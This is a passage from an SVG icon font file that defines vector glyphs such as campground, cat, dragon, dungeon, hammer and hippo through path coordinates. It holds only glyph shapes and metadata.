unicode="" horiz-adv-x="448" +d="M272 312c-8.7998 0 -16 7.2002 -16 16s7.2002 16 16 16s16 -7.2002 16 -16s-7.2002 -16 -16 -16zM448 89.5996c0 -9.59961 -3.2002 -16 -9.59961 -19.1992c-3.2002 -12.8008 -3.2002 -57.6006 0 -73.6006c6.39941 -6.39941 9.59961 -12.7998 9.59961 -19.2002v-16 +c0 -16 -12.7998 -25.5996 -25.5996 -25.5996h-326.4c-54.4004 0 -96 41.5996 -96 96v320c0 54.4004 41.5996 96 96 96h326.4c16 0 25.5996 -9.59961 25.5996 -25.5996v-332.801zM240 392c-44.2002 0 -80 -28.7002 -80 -64c0 -20.9004 12.7002 -39.2002 32 -50.9004v-13.0996 +c0 -8.7998 7.2002 -16 16 -16h64c8.7998 0 16 7.2002 16 16v13.0996c19.2998 11.7002 32 30 32 50.9004c0 35.2998 -35.7998 64 -80 64zM124.8 224.7c-1.7002 -4.10059 0.100586 -8.7998 4.2002 -10.5l70.5 -30.2998l-70.4004 -30.1006 +c-4.09961 -1.7002 -5.89941 -6.39941 -4.19922 -10.5l6.2998 -14.7002c1.7002 -4.09961 6.39941 -5.89941 10.5 -4.19922l98.2998 42.1992l98.2998 -42.0996c4.10059 -1.7002 8.7998 0.0996094 10.5 4.2002l6.2998 14.7002c1.7002 4.09961 -0.0996094 8.7998 -4.19922 10.5 +l-70.3008 30.0996l70.3008 30.2002c4.09961 1.7002 5.89941 6.39941 4.19922 10.5l-6.2998 14.7002c-1.7002 4.09961 -6.39941 5.89941 -10.5 4.19922l-98.3994 -42.0996l-98.3008 42.0996c-4.09961 1.7002 -8.7998 -0.0996094 -10.5 -4.19922zM380.8 0v64h-284.8 +c-16 0 -32 -12.7998 -32 -32s12.7998 -32 32 -32h284.8zM208 312c-8.7998 0 -16 7.2002 -16 16s7.2002 16 16 16s16 -7.2002 16 -16s-7.2002 -16 -16 -16z" /> + <glyph glyph-name="campground" unicode="" horiz-adv-x="640" +d="M624 0c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-608c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h24.6797l239.79 330.25l-53.4102 73.5498c-5.19922 7.15039 -3.60938 17.1602 3.54004 22.3506l25.8809 18.7998 +c7.14941 5.18945 17.1592 3.59961 22.3496 -3.5498l41.1699 -56.7002l41.1602 56.6895c5.2002 7.16016 15.2002 8.74023 22.3496 3.55078l25.9004 -18.79c7.14941 -5.19043 8.72949 -15.2002 3.54004 -22.3506l-53.4102 -73.5498l239.78 -330.25h24.6797zM320 160 +l-116.36 -160h232.721z" /> + <glyph glyph-name="cat" unicode="" +d="M290.59 256c11.8906 -58.3496 63.6006 -102.4 125.41 -102.4c11.1104 0 21.71 1.87012 32 4.54004v-206.14c0 -8.83984 -7.16016 -16 -16 -16h-32c-8.83984 0 -16 7.16016 -16 16v144l-128 -96h32c17.6699 0 32 -14.3301 32 -32v-16c0 -8.83984 -7.16016 -16 -16 -16 +h-176c-35.2998 0 -64 28.7002 -64 64v256c0 17.6396 -14.3604 32 -32 32c-17.6699 0 -32 14.3301 -32 32s14.3301 32 32 32c52.9404 0 96 -43.0596 96 -96v-85.9502c55.7695 83.9697 142.41 85.9502 162.59 85.9502zM448 352l64 64v-134.4c0 -53.0195 -42.9805 -96 -96 -96 +s-96 42.9805 -96 96v134.4l64 -64h64zM376 272c8.83984 0 16 7.16016 16 16s-7.16016 16 -16 16s-16 -7.16016 -16 -16s7.16016 -16 16 -16zM456 272c8.83984 0 16 7.16016 16 16s-7.16016 16 -16 16s-16 -7.16016 -16 -16s7.16016 -16 16 -16z" /> + <glyph glyph-name="chair" unicode="" horiz-adv-x="448" +d="M112 320v-128h-48v128c0 70.7002 57.2998 128 128 128h64c70.7002 0 128 -57.2998 128 -128v-128h-48v128c0 29.5 -16.2002 55 -40 68.9004v-196.9h-48v208h-48v-208h-48v196.9c-23.7998 -13.9004 -40 -39.4004 -40 -68.9004zM446.3 106.1 +c6.90039 -20.6992 -8.5 -42.0996 -30.2998 -42.0996v-112c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v112h-256v-112c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v112c-21.7998 0 -37.2002 21.4004 -30.4004 42.0996l10.7002 32 +c4.40039 13.1006 16.6006 21.9004 30.4004 21.9004h362.5c13.7998 0 26 -8.7998 30.3994 -21.9004z" /> + <glyph glyph-name="cloud-moon" unicode="" horiz-adv-x="576" +d="M342.8 95.2998c40.9004 -3.5 73.2002 -37.3994 73.2002 -79.2998c0 -44.2002 -35.7998 -80 -80 -80h-240c-53 0 -96 43 -96 96c0 41.9004 27.0996 77.2002 64.5996 90.2998c-0.0996094 1.90039 -0.599609 3.7002 -0.599609 5.7002c0 53 43 96 96 96 +c36.2002 0 67.4004 -20.2998 83.7002 -49.9004c11.5 11 27.0996 17.9004 44.2998 17.9004c35.2998 0 64 -28.7002 64 -64c0 -12 -3.5 -23.0996 -9.2002 -32.7002zM565.3 149.6c8.2002 1.60059 14 -8 8.7002 -14.5c-33.4004 -41.0996 -82.7002 -67 -137.1 -70.3994 +c-11.1006 23.0996 -29.9004 41.7998 -53.5 52.5996c0.399414 3.5 0.599609 7.10059 0.599609 10.7002c0 52.9004 -43.0996 96 -96 96c-12.7002 0 -25 -2.5 -36.4004 -7.2002c-5.09961 5.2998 -10.7998 9.90039 -16.6992 14.2002c-1.10059 8.2002 -1.80078 16.5 -1.80078 25 +c0 106.1 86 192 191.9 192c11.7002 0 23.4004 -1.09961 35.0996 -3.2002c8.2002 -1.59961 10.1006 -12.5996 2.80078 -16.7002c-47.1006 -26.7998 -76.1006 -76.5996 -76.1006 -130.8c0 -94 85.4004 -165.399 178.5 -147.7z" /> + <glyph glyph-name="cloud-sun" unicode="" horiz-adv-x="640" +d="M575.2 122.3c37.5996 -13 64.7998 -48.2998 64.7998 -90.3994c0 -53 -43 -96 -96 -96h-272c-53 0 -96 43 -96 96c0 50.5996 39.2998 91.5996 88.9004 95.2998c-0.200195 2.89941 -0.900391 5.7002 -0.900391 8.7002c0 61.8994 50.2002 112 112 112 +c45.4004 0 84.2998 -27.2002 101.9 -66c9.89941 6.19922 21.5 10 34.0996 10c35.2998 0 64 -28.7002 64 -64c0 -1.90039 -0.599609 -3.7002 -0.799805 -5.60059zM144.8 144.9c10.6006 -10.6006 22.9004 -18.6006 36 -24c-9.59961 -9.80078 -17.5 -21.1006 -23.5996 -33.5 +l-76.1006 -25.3008c-11.8994 -3.89941 -23.1992 7.30078 -19.1992 19.2002l29.2998 87.7998l-82.7998 41.4004c-11.2002 5.59961 -11.2002 21.5 0 27.0996l82.7998 41.5l-29.2998 87.8008c-3.90039 11.7998 7.39941 23.0996 19.1992 19.1992l87.9004 -29.2998 +l41.4004 82.7998c5.59961 11.2002 21.5996 11.2002 27.0996 0l41.5 -82.7998l87.7998 29.2998c11.9004 3.90039 23.2002 -7.2998 19.2002 -19.1992l-29.7998 -88.9004c-10.6006 -1.5 -20.9004 -3.7998 -30.7002 -7.5c-5.40039 11.7998 -12.5996 23 -22.2998 32.7002 +c-43.7002 43.7002 -114.7 43.7002 -158.4 0c-43.7002 -43.6006 -43.7002 -114.601 0 -158.3zM140 224.1c0 46.3008 37.7002 83.9004 84 83.9004c34 0 63.2998 -20.4004 76.5 -49.5c-36.4004 -22.5 -62 -60.7002 -67.4004 -105 +c-8.89941 -2.90039 -17.1992 -7 -25.1992 -11.7002c-38.6006 7.5 -67.9004 41.5 -67.9004 82.2998z" /> + <glyph glyph-name="dice-d20" unicode="" horiz-adv-x="480" +d="M106.75 232.94l108.64 -190.101l-208.26 22.0703c-5.83008 0.639648 -9.00977 7.13965 -5.92969 12.1396zM7.41016 132.57c-2.12012 -3.44043 -7.41016 -1.94043 -7.41016 2.08984v162.81c0 3.11035 3.38965 5.03027 6.05957 3.43066l76.6406 -45.9805zM18.25 24.4004 +c-4.03027 1.97949 -2.25 8.06934 2.2002 7.56934l203.55 -22.2998v-65.6699c0 -5.83008 -6.0498 -9.70996 -11.3496 -7.25977zM99.4697 282.18l-81.5293 48.6904c-2.52051 1.51953 -2.60059 5.16016 -0.130859 6.78027l150.811 98.6094 +c7.18945 4.11035 15.1201 -4.08008 10.7803 -11.1396zM240 272h-109.21l95.5801 168.38c3.12988 5.08008 8.37988 7.62012 13.6299 7.62012s10.5 -2.54004 13.6299 -7.62012l95.5801 -168.38h-109.21zM473.94 300.9c2.66992 1.59961 6.05957 -0.320312 6.05957 -3.43066 +v-162.81c0 -4.04004 -5.2998 -5.54004 -7.41016 -2.10059l-75.29 122.351zM380.53 282.18l-79.9307 142.94c-4.33984 7.05957 3.59082 15.25 10.7803 11.1396l150.811 -98.5996c2.46973 -1.62012 2.39941 -5.25977 -0.130859 -6.78027zM459.55 31.9697 +c4.4502 0.5 6.23047 -5.58984 2.2002 -7.55957l-194.4 -87.6602c-5.2998 -2.4502 -11.3496 1.41992 -11.3496 7.25977v65.6699zM373.25 232.94l105.56 -155.891c3.08008 -5 -0.0996094 -11.4902 -5.92969 -12.1396l-208.26 -22.0703zM240 240h100.43l-100.43 -175.75 +l-100.43 175.75h100.43z" /> + <glyph glyph-name="dice-d6" unicode="" horiz-adv-x="448" +d="M422.19 338.05c5.3291 -3.24023 5.2998 -11.2695 -0.0507812 -14.46l-198.14 -118.14l-198.13 118.14c-5.35059 3.19043 -5.37988 11.2305 -0.0605469 14.46l165.971 100.88c19.9102 12.1006 44.5195 12.1006 64.4297 0zM436.03 293.42 +c5.33008 3.17969 11.9697 -0.839844 11.9697 -7.25v-197.7c0 -23.7598 -12.1104 -45.7393 -31.79 -57.7002l-152.16 -92.4795c-10.6602 -6.48047 -24.0498 1.5498 -24.0498 14.4297v223.82zM0 286.17c0 6.41016 6.63965 10.4297 11.9697 7.25l196.03 -116.88v-223.81 +c0 -12.8906 -13.3799 -20.9102 -24.0498 -14.4307l-152.16 92.4697c-19.6797 11.9609 -31.79 33.9307 -31.79 57.7002v197.7z" /> + <glyph glyph-name="dog" unicode="" horiz-adv-x="576" +d="M298.06 224l149.94 -53.5498v-218.45c0 -8.83105 -7.16895 -16 -16 -16h-64c-8.83105 0 -16 7.16895 -16 16v112h-160v-112c0 -8.83105 -7.16895 -16 -16 -16h-64c-8.83105 0 -16 7.16895 -16 16v213.91c-37.1602 13.25 -64 48.4297 -64 90.0898 +c0 17.6611 14.3389 32 32 32s32 -14.3389 32 -32c0.0332031 -17.6455 14.3545 -31.9668 32 -32h170.06zM544 336v-32c0 -35.3223 -28.6777 -64 -64 -64h-32v-35.5801l-128 45.71v149.87c0 14.25 17.2197 21.3896 27.3096 11.3096l27.2803 -27.3096h53.6299 +c10.9102 0 23.75 -7.91992 28.6201 -17.6904l7.16016 -14.3096h64c8.83105 0 16 -7.16895 16 -16zM432 336c0 8.83105 -7.16895 16 -16 16s-16 -7.16895 -16 -16s7.16895 -16 16 -16s16 7.16895 16 16z" /> + <glyph glyph-name="dragon" unicode="" horiz-adv-x="640" +d="M18.3203 192.22c-15.96 -2.2793 -24.8906 17.8105 -12.5107 28.1406l117.4 116.34c21.7705 18.5996 53.2402 20.4697 77.0596 4.58984l119.73 -87.5996v-42.2705c0 -28.9102 5.29004 -56.9795 14.7305 -83.3799h-222.7c-14.25 0 -21.3906 17.2295 -11.3105 27.3096 +l91.2803 68.6904zM575.19 158.12c41.9092 -20.96 67.1592 -64.0801 64.6396 -111.36c-3.37988 -63.2002 -59.7002 -110.77 -122.99 -110.76h-499.08c-9.80957 0 -17.7598 8 -17.7598 17.7998c0 8.32031 5.78027 15.5303 13.9004 17.3301 +c89.54 19.9004 238.51 54.1006 434.1 60.9102c-59.9697 39.9902 -96 107.3 -96 179.38v108.62l-59.5801 24.8496c-5.90039 2.9502 -5.90039 11.3604 0 14.3105l59.5801 24.8398l-61.6396 50.3496c-5.04004 5.04004 -1.4707 13.6104 5.65918 13.6104h237.45 +c10.0703 0 19.5498 -4.7002 25.6006 -12.7598l74.5293 -99.3799c4.00781 -5.3457 6.37988 -12.042 6.37988 -19.2305c0 -5.12988 -1.20996 -9.98047 -3.35938 -14.2803l-14.3105 -28.6191c-5.25 -10.502 -16.0889 -17.6895 -28.6191 -17.6904h-30.9707 +c-8.48926 0 -16.6299 3.37012 -22.6299 9.37012l-28.0898 22.6299h-64v-36.6904c0.00195312 -18.791 10.7812 -35.0459 26.5303 -42.9199zM489.18 381.75c-4.33008 -17.1396 8.56055 -28.96 21.5205 -29.6699c11.6602 -0.629883 21.3799 7.34961 24.1299 18.2598z" /> + <glyph glyph-name="drumstick-bite" unicode="" +d="M462.8 398.43c34.3203 -34.2793 50.4307 -79.5996 49.1299 -124.56c-41.9795 22.6602 -94.3594 17.5596 -128.739 -16.7998c-40.8809 -40.8398 -40.6904 -107.181 -1.05078 -151.07c-18.9736 -6.45312 -39.3203 -10.0049 -60.4648 -10.0049 +c-0.475586 0 -0.950195 0.000976562 -1.4248 0.00488281h-85.8896l-40.6104 -40.5596c-9.71973 -9.75 -11.0898 -24.0205 -6 -36.75c2.77051 -6.92383 4.3125 -14.5234 4.3125 -22.4316c0 -33.3086 -27.042 -60.3506 -60.3496 -60.3506 +c-16.7041 0 -31.8311 6.80078 -42.7627 17.7822c-15.2803 15.2695 -19.6006 36.5 -15.1006 56.0996c-19.6094 -4.49023 -40.8496 -0.179688 -56.1191 15.0703c-10.9395 10.9229 -17.668 26.002 -17.668 42.666c0 33.2979 27.0332 60.3301 60.3301 60.3301 +c7.88965 0 15.4277 -1.51758 22.3379 -4.27637c12.7793 -5.07031 27.0791 -3.69043 36.7793 6l40.6201 40.5898v85.8301c0 64 27.6904 107 63.1699 142.43c30.666 30.6338 73.0479 49.5889 119.774 49.5889s89.0605 -18.9551 119.726 -49.5889z" /> + <glyph glyph-name="dungeon" unicode="" +d="M128.73 252.68c6.58984 -4.12012 8.89941 -12.2393 6.33984 -19.5801c-3 -8.60938 -5.15039 -17.6094 -6.24023 -26.9395c-0.929688 -7.91016 -7.0498 -14.1602 -15.0098 -14.1602h-97.1299c-9.10059 0 -16.7402 7.62988 -16.1504 16.7197 +c2.0293 31.5166 9.95215 61.9062 22.4502 89.2705c3.93945 8.62012 14.8896 11.4697 22.9297 6.4502zM319.03 440c9.16992 -2.36035 13.9102 -12.5996 10.3896 -21.3896l-37.4697 -104.03c-2.28027 -6.34961 -8.2998 -10.5801 -15.0498 -10.5801h-41.8008 +c-6.92773 0.00292969 -12.8281 4.41211 -15.0498 10.5801l-37.4697 104.03c-3.52051 8.79004 1.21973 19.04 10.3896 21.3896c20.1699 5.17969 41.2607 8 63.0303 8s42.8604 -2.82031 63.0303 -8zM112 160c8.83984 0 16 -7.16016 16 -16v-64 +c0 -8.83984 -7.16016 -16 -16 -16h-96c-8.83984 0 -16 7.16016 -16 16v64c0 8.83984 7.16016 16 16 16h96zM112 32c8.83984 0 16 -7.16016 16 -16v-64c0 -8.83984 -7.16016 -16 -16 -16h-96c-8.83984 0 -16 7.16016 -16 16v64c0 8.83984 7.16016 16 16 16h96zM189.31 315.67 +c2.85059 -7.12012 -0.0195312 -14.8799 -6.2998 -19.29c-6 -4.2002 -11.6094 -8.89941 -16.79 -14.0498c-5.4502 -5.41016 -13.5996 -6.86035 -20.1094 -2.79004l-82.9307 51.8301c-8.06934 5.04004 -10.2793 16.2002 -4.21973 23.5195 +c20.0459 24.1963 44.0801 44.3428 71.6104 59.8906c8.29004 4.67969 18.8896 0.519531 22.4199 -8.31055zM398.18 192c-7.95996 0 -14.0801 6.25 -15.0098 14.1602c-1.08984 9.32031 -3.22949 18.3301 -6.24023 26.9395c-2.55957 7.34082 -0.25 15.46 6.33984 19.5801 +l82.8105 51.7607c8.04004 5.01953 18.9902 2.16992 22.9297 -6.4502c12.499 -27.3633 20.4219 -57.7529 22.4502 -89.2705c0.589844 -9.08984 -7.0498 -16.7197 -16.1504 -16.7197h-97.1299zM453.03 354.89c6.06934 -7.31934 3.84961 -18.4795 -4.2207 -23.5098 +l-82.9297 -51.8301c-6.50977 -4.06934 -14.6699 -2.62012 -20.1104 2.79004c-5.17969 5.15039 -10.7891 9.85059 -16.7891 14.0498c-6.28027 4.40039 -9.15039 12.1602 -6.30078 19.2803l36.3203 90.7998c3.54004 8.83008 14.1396 12.9902 22.4199 8.31055 +c27.5303 -15.5479 51.5645 -35.6943 71.6104 -59.8906zM496 160c8.83984 0 16 -7.16016 16 -16v-64c0 -8.83984 -7.16016 -16 -16 -16h-96c-8.83984 0 -16 7.16016 -16 16v64c0 8.83984 7.16016 16 16 16h96zM496 32c8.83984 0 16 -7.16016 16 -16v-64 +c0 -8.83984 -7.16016 -16 -16 -16h-96c-8.83984 0 -16 7.16016 -16 16v64c0 8.83984 7.16016 16 16 16h96zM240 270.38c5.23047 0.889648 10.5195 1.62012 16 1.62012s10.7695 -0.730469 16 -1.62012v-294.38c0 -4.41992 -3.58008 -8 -8 -8h-16c-4.41992 0 -8 3.58008 -8 8 +v294.38zM176 228.87c8.16016 12.2998 19.2197 22.3203 32 29.7695v-282.64c0 -4.41992 -3.58008 -8 -8 -8h-16c-4.41992 0 -8 3.58008 -8 8v252.87zM304 258.64c12.7803 -7.44922 23.8398 -17.4697 32 -29.7695v-252.87c0 -4.41992 -3.58008 -8 -8 -8h-16 +c-4.41992 0 -8 3.58008 -8 8v282.64z" /> + <glyph glyph-name="file-csv" unicode="" horiz-adv-x="384" +d="M224 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h200v-136zM128 168v16c0 4.41992 -3.58008 8 -8 8h-8c-26.5098 0 -48 -21.4902 -48 -48v-32 +c0 -26.5098 21.4902 -48 48 -48h8c4.41992 0 8 3.58008 8 8v16c0 4.41992 -3.58008 8 -8 8h-8c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h8c4.41992 0 8 3.58008 8 8zM172.27 64c23.3906 0 42.4004 17.3301 42.3906 38.6201 +c0 10.6602 -4.86035 20.9199 -13.3301 28.1396l-21.8896 18.7705c-1.37012 1.17969 -2.12012 2.54004 -2.12012 3.83984c0 3.12012 4.45996 6.62012 10.4102 6.62012h12.2695c4.41992 0 8 3.58008 8 8v16c0 4.41992 -3.58008 8 -8 8h-12.25 +c-23.3896 0 -42.4102 -17.3203 -42.4102 -38.6201c0 -10.6602 4.86035 -20.9199 13.3301 -28.1396l21.8896 -18.7705c1.37012 -1.17969 2.12012 -2.54004 2.12012 -3.83984c0 -3.12012 -4.45996 -6.62012 -10.4102 -6.62012h-12.2695c-4.41992 0 -8 -3.58008 -8 -8v-16 +c0 -4.41992 3.58008 -8 8 -8h12.2695zM256 184c0 4.41992 -3.58008 8 -8 8h-16c-4.41992 0 -8 -3.58008 -8 -8v-20.7998c0 -35.4805 12.8799 -68.8906 36.2803 -94.0898c3.01953 -3.25 7.26953 -5.11035 11.7197 -5.11035s8.7002 1.86035 11.7197 5.11035 +c23.4004 25.1992 36.2803 58.6094 36.2803 94.0898v20.7998c0 4.41992 -3.58008 8 -8 8h-16c-4.41992 0 -8 -3.58008 -8 -8v-20.7998c0 -20.2705 -5.7002 -40.1807 -16 -56.8799c-10.2998 16.71 -16 36.6094 -16 56.8799v20.7998zM377 343c4.5 -4.5 7 -10.5996 7 -16.9004 +v-6.09961h-128v128h6.09961c6.40039 0 12.5 -2.5 17 -7z" /> + <glyph glyph-name="fist-raised" unicode="" horiz-adv-x="384" +d="M255.98 288h-48.0303c-5.62988 0 -10.9502 -1.15039 -15.9697 -2.92969v146.93c0 8.83984 7.15918 16 16 16h32c8.83984 0 16 -7.16016 16 -16v-144zM383.98 192.01l0.0195312 -88.2197c0 -26.4971 -10.7412 -50.5273 -28.1201 -67.9102l-35.9102 -35.9199v-63.96 +h-255.979v64l-26.5 26.5098c-24.0098 24.0098 -37.4902 56.5605 -37.4902 90.5098v77.9307c5.03027 -1.7998 10.3604 -2.9502 16 -2.9502h32c12.3301 0 23.4805 4.80957 32 12.4902c8.50977 -7.66992 19.6602 -12.4805 32 -12.4805h32 +c7.91016 0 15.2803 2.11035 21.8701 5.52051c7.46973 -16.3301 21.5996 -28.9404 38.8701 -34.4502c-17.1104 -14.8203 -31.5801 -34.4805 -47.3105 -58.0801l-6.30957 -9.46973c-0.845703 -1.26855 -1.35156 -2.79395 -1.35156 -4.43164 +c0 -2.77734 1.41895 -5.22559 3.57129 -6.6582l13.3105 -8.88086c1.26758 -0.845703 2.79395 -1.35156 4.43066 -1.35156c2.77734 0 5.22559 1.41992 6.65918 3.57227l6.30957 9.46973c31.8906 47.8398 51.5303 70.2695 96.0498 72.5498 +c4.29004 0.219727 7.88086 3.70996 7.88086 8v16.2002c0 4.41992 -3.52051 8 -13.2002 8h-35.2607c-26.2695 0 -47.5693 21.3203 -47.5693 47.5898v0.560547c0 8.7793 7.12012 15.8496 15.8994 15.8496h112.141c35.3301 0 63.9795 -28.6504 63.9902 -63.9902zM351.97 282.1 +c-10.0596 3.59082 -20.7197 5.90039 -32 5.90039h-32v112c0 8.83984 7.16016 16 16 16h32c8.83984 0 16 -7.16016 16 -16v-117.9zM16 224c-8.83984 0 -16 7.16016 -16 16v128c0 8.83984 7.16016 16 16 16h32c8.83984 0 16 -7.16016 16 -16v-128 +c0 -8.83984 -7.16016 -16 -16 -16h-32zM111.99 224c-8.83984 0 -16 7.16016 -16 16v160c0 8.83984 7.16016 16 16 16h32c8.83984 0 16 -7.16016 16 -16v-160c0 -8.83984 -7.16016 -16 -16 -16h-32z" /> + <glyph glyph-name="ghost" unicode="" horiz-adv-x="384" +d="M186.1 447.91c108.73 3.25977 197.9 -83.9102 197.9 -191.91v-271.97c0 -14.25 -17.2305 -21.3906 -27.3096 -11.3105l-24.9209 18.5303c-6.65918 4.95996 -16 3.99023 -21.5098 -2.20996l-42.9502 -48.3496c-6.25 -6.25 -16.3799 -6.25 -22.6299 0l-40.7197 45.8496 +c-6.36035 7.16992 -17.5498 7.16992 -23.9199 0l-40.7197 -45.8496c-6.25 -6.25 -16.3799 -6.25 -22.6299 0l-42.9502 48.3496c-5.50977 6.2002 -14.8506 7.16016 -21.5098 2.20996l-24.9209 -18.5303c-10.0791 -10.0801 -27.3096 -2.9502 -27.3096 11.3105v263.92 +c0 105.13 81.0098 196.81 186.1 199.96zM128 224c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM256 224c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32z" /> + <glyph glyph-name="hammer" unicode="" horiz-adv-x="576" +d="M571.31 254.06c6.25 -6.25 6.25 -16.3799 0.0205078 -22.6191l-90.5098 -90.5107c-6.25 -6.25 -16.3799 -6.25 -22.6299 0l-22.6309 22.6299c-6.25 6.25 -6.25 16.3809 0 22.6309l11.3105 11.3096l-28.9004 28.9004 +c-21.3096 -5.63086 -44.8994 -0.360352 -61.6094 16.3496l-49.1406 49.1396c-12.0098 12 -18.75 28.2803 -18.75 45.25v18.75l-90.5098 45.25c62.4902 62.4805 163.8 62.4805 226.28 0l45.25 -45.25c16.71 -16.71 21.9795 -40.2998 16.3496 -61.6094l28.9004 -28.9004 +l11.3096 11.3105c6.25 6.25 16.3799 6.25 22.6299 0zM284.59 269.26l49.1406 -49.1396c3.53906 -3.54004 7.47949 -6.5 11.4395 -9.41016l-238.13 -255.07c-23.8799 -25.5801 -64.2002 -26.2695 -88.9297 -1.5293c-24.7305 24.7393 -24.04 65.0498 1.5293 88.9297 +l255.101 238.17c3.00977 -4.16016 6.14941 -8.25 9.84961 -11.9502z" /> + <glyph glyph-name="hanukiah" unicode="" horiz-adv-x="640" +d="M232 288h16c4.41992 0 8 -3.58008 8 -8v-120h-32v120c0 4.41992 3.58008 8 8 8zM168 288h16c4.41992 0 8 -3.58008 8 -8v-120h-32v120c0 4.41992 3.58008 8 8 8zM392 288h16c4.41992 0 8 -3.58008 8 -8v-120h-32v120c0 4.41992 3.58008 8 8 8zM456 288h16 +c4.41992 0 8 -3.58008 8 -8v-120h-32v120c0 4.41992 3.58008 8 8 8zM544 280v-120h-32v120c0 4.41992 3.58008 8 8 8h16c4.41992 0 8 -3.58008 8 -8zM104 288h16c4.41992 0 8 -3.58008 8 -8v-120h-32v120c0 4.41992 3.58008 8 8 8zM624 288c8.83984 0 16 -7.16016 16 -16 +v-112c0 -53.0195 -42.9805 -96 -96 -96h-192v-64h176c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-416c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h176v64h-192c-53.0195 0 -96 42.9805 -96 96v112c0 8.83984 7.16016 16 16 16 +h32c8.83984 0 16 -7.16016 16 -16v-112c0 -17.6699 14.3301 -32 32 -32h192v192c0 8.83984 7.16016 16 16 16h32c8.83984 0 16 -7.16016 16 -16v-192h192c17.6699 0 32 14.3301 32 32v112c0 8.83984 7.16016 16 16 16h32zM608 320c-13.25 0 -24 11.9502 -24 26.6699 +s24 53.3301 24 53.3301s24 -38.5996 24 -53.3301c0 -14.7295 -10.75 -26.6699 -24 -26.6699zM32 320c-13.25 0 -24 11.9502 -24 26.6699s24 53.3301 24 53.3301s24 -38.5996 24 -53.3301c0 -14.7295 -10.75 -26.6699 -24 -26.6699zM320 368 +c-13.25 0 -24 11.9502 -24 26.6699s24 53.3301 24 53.3301s24 -38.5996 24 -53.3301c0 -14.7295 -10.75 -26.6699 -24 -26.6699zM112 320c-13.25 0 -24 11.9502 -24 26.6699s24 53.3301 24 53.3301s24 -38.5996 24 -53.3301c0 -14.7295 -10.75 -26.6699 -24 -26.6699z +M176 320c-13.25 0 -24 11.9502 -24 26.6699s24 53.3301 24 53.3301s24 -38.5996 24 -53.3301c0 -14.7295 -10.75 -26.6699 -24 -26.6699zM240 320c-13.25 0 -24 11.9502 -24 26.6699s24 53.3301 24 53.3301s24 -38.5996 24 -53.3301 +c0 -14.7295 -10.75 -26.6699 -24 -26.6699zM400 320c-13.25 0 -24 11.9502 -24 26.6699s24 53.3301 24 53.3301s24 -38.5996 24 -53.3301c0 -14.7295 -10.75 -26.6699 -24 -26.6699zM464 320c-13.25 0 -24 11.9502 -24 26.6699s24 53.3301 24 53.3301 +s24 -38.5996 24 -53.3301c0 -14.7295 -10.75 -26.6699 -24 -26.6699zM528 320c-13.25 0 -24 11.9502 -24 26.6699s24 53.3301 24 53.3301s24 -38.5996 24 -53.3301c0 -14.7295 -10.75 -26.6699 -24 -26.6699z" /> + <glyph glyph-name="hat-wizard" unicode="" +d="M496 0c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-480c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h480zM192 64l16 -32h-144l110.96 249.66c11.1211 25.0264 29.8379 45.6514 53.46 59.1494l187.58 107.19l-56.2998 -168.92 +c-2.12207 -6.35938 -3.25781 -13.2188 -3.25781 -20.2881c0 -8.93164 1.83496 -17.4375 5.14746 -25.1621l86.4102 -201.63h-208l16 32l64 32l-64 32l-32 64l-32 -64l-64 -32zM256 288l-32 -16l32 -16l16 -32l16 32l32 16l-32 16l-16 32z" /> + <glyph glyph-name="hiking" unicode="" horiz-adv-x="384" +d="M80.9502 -24.2305l34.5596 138.221l52.7803 -52.7803l-25.2402 -100.97c-3.64941 -14.5303 -16.6895 -24.2305 -31.0195 -24.2305c-2.58008 0 -5.19043 0.290039 -7.7998 0.950195c-17.1406 4.28027 -27.5605 21.6504 -23.2803 38.8096zM95.8398 171.89 +c-2.18945 -8.41992 -11.0801 -13.54 -19.8701 -11.4395l-63.5596 15.25c-8.78027 2.10938 -14.1104 10.6396 -11.9199 19.0596l25.2695 98.1299c10.9707 42.1006 55.4404 67.6904 99.3203 57.1699c8.78027 -2.10938 14.1104 -10.6396 11.9199 -19.0596zM368 288 +c8.83984 0 16 -7.16016 15.9902 -16v-320.01c0 -8.83984 -7.16016 -16 -16 -16h-16c-8.83984 0 -16 7.16016 -16 16v240h-48c-8.48047 0 -16.6201 3.37988 -22.6201 9.37988l-22.4297 22.4297l-19.8906 -79.5693 +c-0.129883 -0.520508 -0.469727 -0.910156 -0.620117 -1.41016l46.8203 -46.8203c12.0898 -12.0898 18.75 -28.1602 18.75 -45.25v-82.75c0 -17.6699 -14.3301 -32 -32 -32s-32 14.3301 -32 32v82.75l-86.6201 86.6201c-5.79297 5.79395 -9.37109 13.7861 -9.37109 22.6191 +c0 2.67969 0.330078 5.28223 0.951172 7.77051l26.9199 107.721c6.56055 26.2197 30.0098 44.5195 57.0303 44.5195c15.7002 0 30.4697 -6.11035 41.5596 -17.2197l46.7803 -46.7803h34.75v16c0 8.83984 7.16016 16 16 16h16zM240 352c-26.5098 0 -48 21.4902 -48 48 +s21.4902 48 48 48s48 -21.4902 48 -48s-21.4902 -48 -48 -48z" /> + <glyph glyph-name="hippo" unicode="" horiz-adv-x="640" +d="M581.12 351.8c34.0898 -0.189453 58.8799 -33.6895 58.8799 -67.7803v-92.0195c0 -17.6699 -14.3301 -32 -32 -32v-32c0 -8.83984 -7.16016 -16 -16 -16h-32c-8.83984 0 -16 7.16016 -16 16v32h-128v-176c0 -8.83984 -7.16016 -16 -16 -16h-64 +c-8.83984 0 -16 7.16016 -16 16v70.79c-32.3496 -14.3604 -70.7197 -22.79 -112 -22.79s-79.6504 8.42969 -112 22.79v-70.79c0 -8.83984 -7.16016 